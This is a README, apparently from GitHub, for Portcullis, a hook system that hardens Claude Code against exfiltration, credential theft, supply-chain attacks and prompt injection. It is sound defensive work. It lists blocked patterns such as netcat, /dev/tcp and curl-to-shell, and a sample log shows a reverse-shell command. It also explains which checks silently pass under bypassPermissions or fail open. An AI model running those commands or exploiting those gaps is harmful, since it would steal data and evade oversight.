Magonia-Research/Portcullis

GitHub: Magonia-Research/Portcullis

Portcullis 是一款为 Claude Code 提供确定性安全强化的 hook 系统,通过代码而非模型判断来防御凭据泄露、数据外传、供应链攻击和 prompt 注入等威胁。

Stars: 0 | Forks: 0

# Portcullis — 针对 Claude Code 和 OpenCode 的安全强化 通过贯穿整个攻击面的分层安全防护,对编码 agent 进行强化:命令执行、文件 I/O、凭据处理、agent 生成、MCP 工具调用、prompt 注入防御和输出验证 —— 基于 OWASP LLM Top 10 原则。 本仓库提供了同一套防护集的两种实现:**Claude Code**(已完成)和 **OpenCode**(正在进行中,尚未强制执行)。参见[套件支持](#harness-support)。 ## 套件支持 **Claude Code** — `hooks/`,Python,仅使用标准库。已完成,这也是本 README 其余部分所 描述的内容。在 `hooks/hooks.json` 中有 20 个 hooks,每个事件对应一个进程,每个进程 5 秒超时(SessionStart 的 sigma 更新为 10 秒),设计上采用 fail-open 机制。 **OpenCode** — `.opencode/plugins/portcullis/`,基于 Bun 的 TypeScript。**正在进行中,尚未强制执行**:拒绝操作会被一个永远无法匹配的前缀测试捕获,`ask` 仅对 Bash 有效,prompt 凭据防护未绑定到任何事件,且容器优先和 Sigma 尚未移植。932 个测试中有 851 个通过。对于任何你依赖的功能,请使用 Claude Code 实现。 值得了解的移植约束是:**Claude Code 的决策模型是三值的(deny / ask / allow),而 OpenCode 的是二值的。** Portcullis 严重依赖 `ask` —— 大多数防护措施会选择提示而不是阻止,正是为了让硬拒绝专门保留给零误报模式。一个没有 `ask` 的套件必须在每个启发式防护上选择过度阻止还是阻止不足。 ## 覆盖范围图 ``` ┌─────────────────────────────────────────────┐ │ UserPromptSubmit │ │ • blocks pasted private keys, warns on tokens │ └───────────────────────┬─────────────────────┘ │ ┌───────────────────────▼─────────────────────┐ │ Claude processes │ │ (CLAUDE.md rules via /portcullis:harden) │ └───────────────────────┬─────────────────────┘ │ ── PreToolUse — gate before the call ─────────────────────────────────── Bash → container-first · sigma · exfil · supply-chain · git · cred-read Write/Edit → credential-leak scan · filesystem destination guard Read → filesystem credential-store gate WebFetch → outbound URL: SSRF / exfil-domain / encoded-blob mcp__* → credential + exfil scan of tool arguments Agent → least-privilege checks + subagent constraint injection ── PostToolUse — inspect the result ──────────────────────────────────── Bash → output credential scan + redact Read → injection defense + output credential scan + redact Agent|SendMsg → parent-targeting injection / credential-leak scan ── Session lifecycle ─────────────────────────────────────────────────── SessionStart → sigma rule update (24h) · re-inject security baseline SubagentStop → validate subagent output before the parent trusts it PreCompact / SessionEnd / Stop → compaction audit · cleanup · checklist Every gating/prompting guard's decision is clampable by the tiered strictness config (deny > ask > redact > warn > allow > off); see below. ``` ## Hooks 在 `hooks/hooks.json` 中注册 —— 共 20 个条目,每个超时时间为 5 秒,SessionStart 的 sigma 更新为 10 秒除外。 | Hook | 事件 · 匹配器 | 功能说明 | |------|-----------------|--------------| | 容器优先 | PreToolUse · Bash | 拒绝 `rm -rf`、混淆、逃逸技术(nsenter/ptrace)、内核操纵。对特权过高的容器和宿主机包安装进行询问 | | Sigma 引擎 | PreToolUse · Bash | 评估已编译的 SigmaHQ process_creation 规则(Linux/macOS,medium 及以上;默认 106 条)。始终**询问**,从不拒绝 —— 这些规则是广泛的启发式规则 | | 安全调度器 | PreToolUse · Bash | 在一个进程中运行五个防护:**exfil**(中继域名、netcat、`/dev/tcp`、数据 POST、DNS-label、元数据 SSRF、scp/rsync)、**supply-chain**(typosquat、fetch-to-shell、不安全的安装)、**git**(针对 CVE-2024-32002 / CVE-2025-48384 的 submodule RCE、config RCE 原语、`GIT_*` 环境变量、`.git/hooks` 写入)、**credential-read**(`.env`、`~/.ssh`、`~/.aws`、keychains)、**self-protection**(shell 对 Portcullis 和 Claude Code 自身配置的写入)。扫描命令的前 8 KiB,超出部分触发询问 | | 凭据防护 | PreToolUse · Write/Edit | 检测文件写入中的 API key、token、私钥和密码 | | 文件系统防护 | PreToolUse · Write/Edit/MultiEdit/NotebookEdit/Read | 保护写入*目标*(凭据存储、shell 初始化、持久化、`/etc`、插件配置)并限制凭据存储读取。规范化路径以抵抗 `../` 和符号链接规避。所有发现均**询问** | | MCP 防护 | PreToolUse · `mcp__.*` | 扫描每个 MCP 工具的参数以查找凭据/exfil 模式 —— 任何服务器都可能成为 exfil 通道 | | Agent 防护 | PreToolUse · Agent | 最小权限生成:阻止凭据泄露,检测注入、危险模式、过高权限、敏感路径、prompt 大小。将约束注入到子 agent 的 prompt 中。对滚动一小时内生成的进程进行速率限制(10 次 ask / 20 次 deny),可通过 `agent_guard.py --reset-spawns ` 清除 | | WebFetch 防护 | PreToolUse · WebFetch | 拒绝已知的 exfil/隧道域名;对嵌入式凭据、编码 blob 或敏感查询参数进行询问 | | 输出凭据扫描器 | PostToolUse · Bash, Read | 原位脱敏高置信度凭据(AWS、GitHub、GitLab、npm、Anthropic、私钥);对低置信度凭据发出警告 | | 注入防御 | PostToolUse · Read | 检测文件内容中的间接 prompt 注入 —— 角色操纵、伪造系统标签、指令覆盖、零宽字符、隐藏的 HTML。警告 Claude 将文件内容视为数据 | | Agent 输出防护 | PostToolUse · Agent\|SendMessage | 扫描子 agent 和 agent 间的输出,以检测针对父级的注入、泄露的凭据、嵌入的命令 | | 子 Agent 停止防护 | SubagentStop | 在父级信任子 agent 输出之前对其进行验证。遇到凭据时**阻止**;注入、嵌入命令和 exfil 指标仅为建议性,因为 Stop 系列的拒绝原因会作为其下一条指令反馈给模型 —— 一个引用了触发内容的阻止会直接进入重试 | | Prompt 凭据防护 | UserPromptSubmit | 阻止粘贴的私钥;对 API token 发出警告;建议使用环境变量替代 | | Sigma 更新 | SessionStart | 自动更新 SigmaHQ 规则(24 小时冷却时间) | | 会话基线 | SessionStart · PreCompact | 重新注入 TIER 0–3 指令层级,使其在压缩后依然存在;记录压缩事件(从不阻止压缩) | | 会话清理 | SessionEnd | 移除每个会话的生成状态;清理过期文件(>24h) | | 停止检查清单 | Stop | 安全卫生提醒(密钥、容器、临时文件) | **优先级。** 当多个 hooks 在一次调用中触发时,Claude Code 应用 `deny > ask > allow` 的优先级。调度器返回其五个防护中最高的结果 —— 每个防护都会运行,因此较低严重性的匹配永远不会抢先于硬拒绝 —— 并且硬拒绝会绕过项目级别的抑制。 **在跳过权限的情况下运行只会获得仅拒绝的强制执行。** 在 `bypassPermissions` 下,hook 的 `ask` 会被直接丢弃而不是显示出来,因此 Portcullis 在 `ask` 阶段引发的每一个发现 —— 大多数文件系统、MCP、agent、git 和 credential-read 检查,以及每一个 Sigma 匹配 —— 都会静默通过。在任何模式下,hook 的 `deny` 仍然是绝对的。以上是从 Claude Code 2.1.220 bundle 中读取的内容,而不是端到端的测量结果,因此请将具体的阶梯列表视为近似值,而将其形态视为可靠的:如果你跳过权限,你将仅依赖于硬拒绝。 **Fail-open(失败开放)。** 一个崩溃、超时或输出无效的 hook 永远不会阻止调用 —— 安全 hooks 不应该因为自身的 bug 破坏合法的工作。Agent 防护通过两阶段设计进一步强化了这一点:它首先构建约束注入响应,然后再运行检测,这样即使检测崩溃,子 agent 仍然能接收到约束。 Fail-open 是有意为之的,这使得任何能够*引发*失败的东西都成了绕过手段。因此,调度器隔离了每个防护(一个防护引发异常只会影响其自身的判决),限制了它扫描的文本(5 秒超时是一个安全边界 —— 一个在扫描中途被杀死的 hook 永远不会交付其判决),并将“我无法完全检查此项”转化为 `ask`,而不是静默通过。 ## 技能:`/portcullis:harden` 将行为规则注入到项目的 `CLAUDE.md` 中,这些规则是 hooks **无法**强制执行的:永远不在响应中回显凭据、拒绝嵌入在抓取内容中的指令、MCP 数据最小化、凭据占位符以及多步攻击意识。Hooks 在执行时强制执行硬边界;而这些规则涵盖了 Claude 在生成响应时的自身判断。这两层之所以同时存在,是因为 hooks 是 fail-open 的。 ## 安装 **Claude Code** ``` git clone https://github.com/Magonia-Research/Portcullis.git ``` 仓库在 `.claude-plugin/marketplace.json` 提供了一个 marketplace manifest,因此请将 checkout 添加为 marketplace,而不是直接指向插件目录: ``` /plugin marketplace add /path/to/Portcullis /plugin install portcullis@magonia-research ``` **Sigma 规则**(可选,仅限 Claude Code)—— 为编译器创建一个 venv 并克隆 SigmaHQ。其他所有防护在没有它的情况下也能工作: ``` cd /path/to/Portcullis && ./scripts/install.sh ``` venv 和编译后的规则会被写入 `~/.claude/portcullis/sigma/`,而不是插件目录中 —— 插件目录是一个缓存,每次重新安装都会替换它,保留在其中的任何东西都会随之消失。只需运行一次,而不是每次更新都运行。如果你的 `python3` 已经有了匹配的 `pyyaml`,事先运行 `python3 -m venv --system-site-packages ~/.claude/portcullis/sigma/venv` 可以让脚本跳过其 `pip` 步骤,什么都不安装。 **OpenCode**(正在进行中 —— 参见[注意事项](#opencode-status-work-in-progress))—— 依赖项分布在两个 manifest 中,并且插件自身没有声明 `@opencode-ai/plugin`,因此需要同时安装两者。无需构建步骤;OpenCode 直接加载 TypeScript。 ``` cd .opencode && bun install # @opencode-ai/plugin cd .opencode/plugins/portcullis && bun install # minimatch, typescript, @types/node ``` ## 决策模型 config clamp 使用的侵入性阶梯为 `deny > ask > redact > warn > allow > off`。 | 决策 | 含义 | 示例 | |---|---|---| | **deny** | 零误报模式,无需提示直接硬阻止 | 中继/exfil 域名、netcat、`/dev/tcp` 反向 shell、fetch-piped-to-shell、`rm -rf`、十六进制/八进制混淆、逃逸技术、agent prompt 中的高置信度凭据、生成速率限制 | | **ask** | 必须由用户批准 | 数据 POST、DNS-label exfil、元数据 SSRF、scp/rsync/sftp、curl 上传、typosquat、宿主机安装、凭据文件读取、受保护的写入目标、Sigma 匹配、submodule RCE、git config RCE 原语、agent 注入或过高权限 | | **redact** | 输出中的凭据值被替换为 `[REDACTED: pattern_name]` | 仅限高置信度密钥;保留周边上下文 | | **warn** | 通过 `systemMessage` 注入上下文 | 凭据处理提醒、文件读取时的注入警告、低置信度警报 | | **allow + context** | 软提醒 | 宿主机上的解释器、容器建议、子 agent 约束注入 | ### OWASP LLM Top 10 覆盖范围 | ID | 威胁 | 防御 | |----|--------|---------| | LLM01 | Prompt 注入 | 注入防御、agent 防护模式、CLAUDE.md 规则 | | LLM02 | 不安全的输出处理 | 输出扫描器、子 agent 停止防护、注入防御 | | LLM06 | 敏感信息泄露 | 凭据防护、输出扫描器、文件系统防护、prompt 凭据防护 | | LLM08 | 过度代理 | Agent 防护(模式、权限、速率限制、约束)、容器优先 | ## 分级严格性配置 默认情况下,每个门控防护都会满负荷运行,因此 Portcullis 出厂即严格,并且从不会默默削弱自身的防护。配置只能沿着阶梯向下**放宽**防护 —— 它永远无法捏造更严格的阻止,因此零误报拒绝保证在任何配置下都成立。 | 文件 | 信任级别 | 权限 | |------|-------|-----| | `~/.claude/portcullis.json` | 受信任 —— 只有你能写入你的主目录 | 将任何防护放宽到任何阶梯(包括 `off`);通过 `projects` 按路径覆盖作用域 | | `/.claude/portcullis.json` | 不受信任 —— 克隆的仓库可能包含它 | 仅可将阻止性防护放宽至 `ask`,因此恶意仓库无法在它与 exfiltration 之间致盲防护 | ``` { "preset": "balanced", "guards": { "webfetch_guard": { "mode": "ask" }, "sigma_engine": { "mode": "warn", "severity_floor": "high" } }, "projects": { "/path/to/a/trusted/repo": { "preset": "permissive" } } } ``` 预设:**strict**(满负荷默认值)、**balanced**(将两个误报率最高的阻止性防护放宽至 `ask`,Sigma 宽松至 `warn`)、**permissive**(对所有内容进行提示,不阻止任何内容)。针对特定防护的 `mode` 会覆盖预设;`severity_floor` 用于调节哪些 Sigma 规则会触发。任何缺失或格式错误的内容都会默认 fail-open。十二个门控防护是可配置的 —— 十一个 PreToolUse 防护加上子 agent 停止防护建议性防护(注入防御、输出扫描器、agent 输出防护、prompt 凭据防护)始终开启。 ## 按项目允许列表 创建 `.claude/hook-allowlist.json` 以抑制特定的模式或路径: ``` { "exfil_guard": { "suppress_patterns": ["curl_post_data"], "suppress_paths": ["src/api/client.py"] }, "credential_guard": { "suppress_paths": ["tests/fixtures/**", "**/*.example"] }, "injection_defense": { "suppress_patterns": ["role_manipulation"], "suppress_paths": ["docs/security/**"] } } ``` ## 记住批准:`/portcullis:remember` Claude Code 自带的“不再询问”功能在 Portcullis 的提示上不起作用。PreToolUse hook 的 `ask` 作为最终的权限决定返回,*而不会*查询 `permissions.allow`,因此添加一条 allow 规则 —— 无论是手动、通过 `/permissions` 还是从对话框添加 —— 都无济于事。hook 也无法看到你按下了哪个按钮:没有 hook 事件携带该答案。因此,Portcullis 无法在提示本身上提供“记住此项”的复选框;它需要在事后执行一条显式命令。 批准该提示,然后: ``` /portcullis:remember # remember the most recent ask /portcullis:remember list # show what is remembered /portcullis:remember forget # undo one ``` 这个确切的命令会停止提示。关于该机制的所有设计都是刻意收窄的: | | | |---|---| | 转换 | `ask` → `allow` 仅此而已 —— 硬 `deny` 永远不可记忆 | | 匹配 | 一个精确的命令(空白字符被折叠),无通配符 | | 作用域 | 仅限此项目;`--global` 为可选 | | 有效期 | 30 天;`--days N`,或者如果你坚持可以使用 `--forever` | | 存储 | `~/.claude/portcullis/memos.json`,模式 `0600` —— 绝不在仓库中 | | 拒绝项 | `NEVER_ALLOWLIST` / `_NEVER_SUPPRESSIBLE` 中的任何内容(凭据读取、git RCE 原语、exfil 中继),以及任何包含凭据的命令 | | 记录 | 每次命中都会写入一条包含 `portcullis.memo_hit` 和 `portcullis.natural: ask` 的 `allow` 记录 | 存储位于 `$HOME` 下,原因与分层配置相同:`/.claude/` 是不受信任的,仓库内的 memo 文件会让该仓库 —— 或 agent —— 解除正在监视它的防护。对存储的写入操作本身也受到(`filesystem_guard`, `portcullis_memos`)的保护,涵盖了 文件编辑工具和 Bash 路径,并且每个条目都使用 `~/.claude/portcullis/memo.key` (0600) 中的密钥进行了 HMAC 签名:不是由 `remember` 命令写入的条目将被忽略。 Portcullis 自身的控制面位于不可抑制列表中,因此没有任何 memo 可以解除它。 当噪声呈现为类形状而不是命令形状时,首选更改配置:200 个被记住的例外是一个信号,表明防护的 `mode` 或 `severity_floor` 才是真正的解决方法。 ## 已知摩擦及如何缓解 寻求最窄的缓解方案:记住一个已批准的命令(`/portcullis:remember`)→ 允许列表添加一个模式或路径 → 软化单个防护(`guards..mode`)→ 选择一个预设 → 为单个项目禁用一个防护(仅限主目录配置)。 **允许列表无法抑制硬 `deny`。** 硬拒绝在设计上是不可抑制的,因此要放宽它,需要在你的**受信任的**主目录配置中使用预设或针对特定防护的 `mode` —— 绝不能使用仓库文件。这正是阻止克隆的仓库通过将其加入允许列表,从而移除阻挡在它和你的凭据之间的防护的手段。 | 触发防护的合法工作流 | 防护 | 级别 | 缓解方案 | |------|------|------|------| | 使用宿主机包安装而不是使用容器 | container-first | ask | 使用容器,或者在主目录配置中放宽 `container_first` | | 开发服务器、`base64`、解释器单行命令被广泛规则捕获 | sigma_engine | ask | `severity_floor: high`,或者 `sigma_engine: warn` | | `curl … \| sh` 安装程序 (rustup, nvm) | supply_chain_guard | **deny** | `balanced` 预设 —— 硬拒绝,不可加入允许列表 | | 全局安装(`npm i -g`, `pipx`) | supply_chain_guard | ask | 允许列表添加 `global_install`,或者使用容器 | | 通过 `scp` / `rsync` / `curl -d` 访问你自己的主机 | exfil_guard | ask | 允许列表添加 `remote_copy` / `curl_post_data`;中继域名保持拒绝状态 | | 在开发中读取项目的 `.env` | credential_access_guard | ask | 在 `suppress_paths` 下对该路径加入允许列表 | | Fixtures / `.env.example` 中的假密钥 | credential_guard | ask | 占位符已被跳过;否则使用 `suppress_paths` | | 编辑 `~/.zshrc` / `~/.gitconfig` | filesystem_guard | ask | 将该路径加入允许列表,或者为该项目禁用防护 | | Shell 写入 `~/.claude/portcullis.json`、`settings.json`、`~/.claude/portcullis/` 下的任何内容 | filesystem_guard | ask | 有意为之 —— 这些内容决定了防护接下来的行为,并且不可被抑制或记住。手动重新编译 sigma 规则出于同样的原因也会提示 | | 受信任仓库中的递归 submodule 克隆 | git_guard | ask | 为该仓库将 `recursive_submodule_clone` 加入允许列表 | | 大量子 agent 生成触发速率限制 | agent_guard | **deny** | `permissive` —— 10/20 的限制不可通过其他方式调整 | | 携带 base64 或长 token 的 MCP 调用 | mcp_guard | ask | 为该服务器将模式加入允许列表 | | 带有编码查询 blob 的 WebFetch URL | webfetch_guard | ask | 将其加入允许列表,或者使用 `balanced`;exfil 域名保持拒绝状态 | 如果 Portcullis 整体上过于吵闹,请设置一次 `preset`,而不是逐个禁用防护。 ## 查询安全日志 每个决策都是一条 OpenTelemetry 日志记录,带有 OCSF Detection Finding 投影(`ocsf.class_uid` 2004)。严重性是从单个表中标准化的,因此过滤器永远不会对决策进行文本匹配,而且 OTel 和 OCSF 的严重性绝不会产生分歧。未识别的决策会在 `WARN` 级别报告,绝不会是静默的 `INFO`。 **有一个盲点值得预先说明:** 被关闭的防护报告的级别会*低于* `allow`,因此没有基于严重性的警报会向你显示被禁用的覆盖范围。这是故意的 —— 替代方案让抑制落地在 Medium 级别,这使得 `severity_id >= 3` 规则在什么都没做的防护上触发得最猛 —— 但这意味着你必须按名称查询 `off` 和 `portcullis.suppressed`。 在写入记录之前,凭据值会从每个自由文本字段中被掩盖 —— `command.line`、`file.path`、模式名称,以及在防护自身的 `extra` 中可访问的每个字符串,包括嵌套列表、字典和键。被掩盖的值会变为 `[REDACTED:]`,并且字段名称会出现在 `portcullis.redacted_fields` 中,因此你仍然可以分辨出*存在*一个密钥及其类型。URL userinfo 保留其 scheme、user 和 host(`https://admin:[REDACTED:url_userinfo]@internal.example.com/api`),因为这些正是调查所需的字段。这很重要,因为对于 `allow` 决策也会写入记录,并且 `~/.claude/hooks/security.log` 的生命周期比会话更长。 **这两个数据接收点携带的详细程度不同,这是有意为之。** 文件接收点(位于 0700 模式目录下的 0600 模式)是完整的记录。macOS 统一日志获取的是一个扣留了自由文本字段的投影 —— `command.line` 和 `file.path`,它们被列在 `portcullis.withheld_fields` 中,并用 `portcullis.detail_in` 指明要查看的文件。原因有两个:`log emit` 将其有效负载作为 argv 元素传递,机器上的所有其他账户都可以从 `ps` 中读取它;并且统一日志*存储*本身也是广泛可读的 —— 任何本地用户都可以 `log show` 一个任意的子系统。凭据在这两者中都已经过掩盖,但命令行本身就很敏感。检测规则所依据的一切 —— OTel 严重性字段、整个 `ocsf.*` 投影、防护、决策、模式、会话 id —— 都保留在统一日志中,因此告警在那里起作用,而调查则在文件中进行。
决策 → 严重性映射 | 决策 | `SeverityText` | `SeverityNumber` | `ocsf.severity_id` | `ocsf.action_id` | |---|---|---|---|---| | `deny`, `block` | `ERROR` | 17 | 4 (High) | 2 (Denied) | | `redact` | `WARN` | 15 | 3 (Medium) | 1 (Allowed) | | `ask` | `WARN` | 14 | 3 (Medium) | 0 (Unknown) | | `warn` | `WARN` | 13 | 2 (Low) | 1 (Allowed) | | `warn_low` | `INFO` | 11 | 2 (Low) | 1 (Allowed) | | `allow` | `INFO` | 9 | 1 (Info) | 1 (Allowed) | | `off`, `debug` | `DEBUG` | 5 | 1 (Info) | 1 / 0 | | *unknown* | `WARN` | 13 | 3 (Medium) | 0 (Unknown) | `ask` 映射到 action_id 0 而不是 1,因为在写入时结果确实是未知的 —— 用户尚未回答。
查询配方 ``` # Fallback file (JSON Lines) — 每行一条 OTel 记录 tail -f ~/.claude/hooks/security.log # 按 OCSF severity 划分的高危发现 — 非脆弱文本匹配 jq -c 'select(.Attributes."ocsf.severity_id" >= 4)' ~/.claude/hooks/security.log # 按 severity 文本、按 decision 或按 guard jq -c 'select(.SeverityText == "ERROR")' ~/.claude/hooks/security.log jq -c 'select(.Attributes."portcullis.decision" == "redact")' ~/.claude/hooks/security.log jq -c 'select(.Attributes."portcullis.guard" == "agent_guard")' ~/.claude/hooks/security.log # 调用 tiered config 宽松规则(记录其源自的 natural decision) jq -c 'select(.Attributes."portcullis.config_downgraded" == true)' ~/.claude/hooks/security.log # 因用户已记住该审批而跳过的 Prompts jq -c 'select(.Attributes."portcullis.memo_hit" == true)' ~/.claude/hooks/security.log # 在写入前已掩盖 credential 的记录(值从未存储) # 除非确实有内容被掩盖,否则该 key 不存在,因此这绝不会 # 在空列表上产生 false-positives jq -c 'select(.Attributes."portcullis.redacted_fields")' ~/.claude/hooks/security.log # 已关闭的 Coverage — 对任何基于 severity 的告警不可见 jq -c 'select(.Attributes."portcullis.decision" == "off" or .Attributes."portcullis.suppressed")' ~/.claude/hooks/security.log # 单个 session 的所有内容,按顺序排列(TraceId 镜像 session.id) jq -c 'select(.TraceId == "")' ~/.claude/hooks/security.log # 每个 guard 的 decision,按频率从高到低排列 — 便于快速了解在你转向 # preset 之前,究竟是哪个 guard 在实际产生摩擦 jq -r '[.Attributes."portcullis.guard", .Attributes."portcullis.decision"] | @tsv' \ ~/.claude/hooks/security.log | sort | uniq -c | sort -rn # macOS Unified Log — 注意绝对路径:`log` 是一个 zsh *builtin*,因此直接 # 使用 `log show ...` 会报错 "too many arguments",而不会查询任何内容 /usr/bin/log show --predicate 'subsystem == "com.anthropic.claude-code.hooks"' \ --last 1h --info --style ndjson # Linux journald(在所有平台上 syslog ident 均为 cc-security) journalctl -t cc-security --since "1 hour ago" -o json-pretty ```
记录字段 记录是扁平的 OTel JSON:`Timestamp` 和 `ObservedTimestamp`(ISO 8601 带有本地 UTC 偏移量,毫秒精度 —— 不是 `Z`,因此在与基于 UTC 的源进行比较之前请进行标准化)、`SeverityNumber`、`SeverityText`、`EventName` (`portcullis.`)、`Body` (`: ()`)、`TraceId`(当已知时的会话 ID)以及 `Attributes`。 | 属性 | 含义 | |---|---| | `portcullis.guard` | 哪个防护做出了决定 —— `exfil_guard`、`agent_guard`、… | | `portcullis.decision` | 经过 clamp 之后发出的决定 | | `portcullis.natural` | config clamp *之前* 的决定;仅当两者不同时存在 | | `portcullis.config_downgraded` | 当分层配置放宽调用时为 `true` | | `portcullis.memo_hit` | 当记住的批准跳过提示时为 `true` | | `portcullis.suppressed` | 当项目允许列表静默匹配时为 `true` | | `portcullis.pattern` | 匹配的模式名称(已清洗,就像所有其他自由文本字段一样) | | `portcullis.redacted_fields` | 哪些字段的凭据被掩盖了;如果没有则不存在 | | `portcullis.withheld_fields` | 仅限统一日志 —— 从投影中丢弃的字段 | | `portcullis.detail_in` | 仅限统一日志 —— 保存完整记录的文件 | | `command.line`, `file.path` | 自由文本;仅限文件接收点 | | `tool.name` | 正在被门控的工具(`Bash`、`Write`、…) | | `session.id` | Claude Code 会话 ID | | `event.kind`, `event.category` | ECS 风格的分类 | | `ocsf.*` | Detection Finding 投影 —— `class_uid` 2004,`type_uid` 200401,以及上面的严重性和 action id | 写入文件接收点的一条记录: ``` {"Timestamp":"2026-07-27T20:44:04.849-04:00","ObservedTimestamp":"2026-07-27T20:44:04.849-04:00", "SeverityNumber":17,"SeverityText":"ERROR","EventName":"portcullis.exfil_guard", "Body":"exfil_guard: deny (nc_connect)","TraceId":"be1e6bbd-…", "Attributes":{"portcullis.guard":"exfil_guard","portcullis.decision":"deny", "portcullis.pattern":"nc_connect","command.line":"nc -e /bin/sh 10.0.0.1 4444", "tool.name":"Bash","session.id":"be1e6bbd-…","event.kind":"security_detection", "event.category":"security","ocsf.category_uid":2,"ocsf.class_uid":2004, "ocsf.activity_id":1,"ocsf.type_uid":200401,"ocsf.severity_id":4,"ocsf.action_id":2}} ```
## 组件 ``` hooks/hooks.json Hook registration (matchers, timeouts) hooks/security_dispatcher.py Bash dispatcher: exfil + supply-chain + git + cred-read + self-protection hooks/exfil_guard.py Data exfiltration patterns hooks/supply_chain_guard.py Typosquats + dangerous installs hooks/git_guard.py Clone-time RCE + config hijack hooks/credential_access_guard.py Credential-file read pre-block hooks/container_first.sh Container-first enforcement (bash/jq) hooks/sigma_engine.py SigmaHQ evaluator; asks on match (stdlib only) hooks/sigma_compiler.py Compiles sigma YAML -> JSON (needs pyyaml venv) hooks/sigma_update.sh Rule auto-update on session start hooks/credential_guard.py Credential leaks in file writes hooks/filesystem_guard.py Write-destination + credential-store-read guard hooks/mcp_guard.py MCP tool argument scanning hooks/agent_guard.py Agent spawn guard + constraint injection hooks/webfetch_guard.py Outbound WebFetch URL guard hooks/output_credential_scanner.py Credential scan + redact (Bash, Read) hooks/injection_defense.py Indirect prompt injection defense hooks/prompt_credential_guard.py Pasted-credential detection hooks/subagent_stop_guard.py Subagent output validation hooks/agent_output_guard.py Inter-agent output scan hooks/session_baseline.py Baseline re-injection + compaction audit hooks/session_cleanup.py Per-session state cleanup hooks/stop_checklist.py Session-end hygiene checklist hooks/normalize.py Shared command canonicalizer hooks/patterns.py Shared detection + credential patterns hooks/hook_logging.py OTel/OCSF logging + config clamp + memo check hooks/config.py Tiered strictness config hooks/allowlist.py Per-project suppression hooks/memo.py Remembered approvals (ask -> allow) + CLI .claude-plugin/plugin.json Plugin metadata .claude-plugin/marketplace.json Marketplace manifest commands/remember.md /portcullis:remember command skills/harden/SKILL.md /portcullis:harden skill scripts/install.sh Setup (venv + sigma compilation) scripts/uninstall.sh Cleanup tests/test_plugin.py Guard-logic tests tests/test_config.py Config clamp tests (69 assertions) tests/test_sigma_engine.py Sigma engine tests (subprocess) tests/test_redos.py Super-linearity check over every compiled pattern ``` **OpenCode 移植版**(正在进行中) ``` .opencode/plugins/portcullis/portcullis-opencode.ts Entry point; maps events to routes .opencode/plugins/portcullis/dispatcher/route.ts Route layer .opencode/plugins/portcullis/guards/ 15 guards mirroring the Python set .opencode/plugins/portcullis/config.ts Tiered strictness .opencode/plugins/portcullis/allowlist.ts Per-project suppression .opencode/plugins/portcullis/logger.ts OTel/OCSF logging + clampAndEmit .opencode/plugins/portcullis/normalize.ts Command canonicalizer .opencode/plugins/portcullis/tests/ 13 files for 15 guards (851/932 passing) ``` ## 环境要求 **Claude Code** — Claude Code · Python 3.9+(运行时仅限标准库;故意不提供 requirements 文件) · 用于 container-first hook 的 `jq` · 用于 sigma 更新的 Git。`pyyaml` 由 `scripts/install.sh` 安装到 `~/.claude/portcullis/sigma/` 下的 venv 中,且仅在*编译* sigma 规则时需要,在 hook 运行时绝不需要。 **OpenCode**(正在进行中) — OpenCode · Bun · `minimatch`(运行时),Script 和 `@types/node`(开发)。`@opencode-ai/plugin` 1.18.5 在 `.opencode/package.json` 中声明;插件源码并未导入它,而是依赖 OpenCode 的加载器调用导出的函数。 ## 许可证 GPL-3.0-or-later — 见 [LICENSE](LICENSE)。
标签:AI代码助手, DNS 反向解析, Hooks, Streamlit, StruQ, 安全防护, 访问控制, 逆向工具